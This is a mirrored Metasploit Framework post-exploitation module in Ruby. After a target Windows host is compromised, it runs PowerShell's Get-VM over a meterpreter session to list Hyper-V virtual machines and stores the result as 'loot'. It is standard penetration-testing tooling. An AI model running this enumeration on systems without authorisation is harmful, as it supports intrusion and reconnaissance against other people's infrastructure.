CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/enum_hyperv_vms.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::Powershell
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Windows Hyper-V VM Enumeration',
14
'Description' => %q{
15
This module will check if the target machine is a Hyper-V host and, if it is, will return a list of all
16
of the VMs running on the host, as well as stats such as their state, version, CPU Usage, uptime, and status.
17
},
18
'License' => MSF_LICENSE,
19
'Platform' => ['win'],
20
'SessionTypes' => ['meterpreter'],
21
'Author' => [
22
'gwillcox-r7' # Metasploit post module
23
],
24
'Notes' => {
25
'Stability' => [CRASH_SAFE],
26
'Reliability' => [],
27
'SideEffects' => []
28
}
29
)
30
)
31
end
32
33
def run
34
unless have_powershell?
35
fail_with(Failure::NoAccess, "The target does not have PowerShell installed so we can't access the state of the Hyper-V VMs")
36
end
37
error_token = Rex::Text.rand_text_alpha(8)
38
get_vm = "try { Get-VM } catch {echo #{error_token}; echo $Error[0]}"
39
results = psh_exec(get_vm)
40
if results.starts_with?(error_token)
41
results = results.delete_prefix(error_token).strip
42
print_error('Error running `Get-VM` command:')
43
print_line(results)
44
return
45
end
46
vprint_status(results)
47
filtered_result = results.match(/^Name(?:.+\r\n){1,2000}/) # If your running more than 2000 VMs on a single host, you have my sincerest sympathy.
48
if filtered_result.nil?
49
print_error("Sorry, no results were found! Perhaps the target has Hyper-V installed but doesn't have any VMs set up?")
50
return
51
end
52
print_status(filtered_result.to_s)
53
loot_location = store_loot('host.hyperv_vms', 'text/plain', session, filtered_result.to_s, "#{session.session_host}.hyperv_vm_information.txt", "#{session.session_host} Hyper-V VM Information")
54
print_good("Stored loot at #{loot_location}")
55
end
56
end
57
58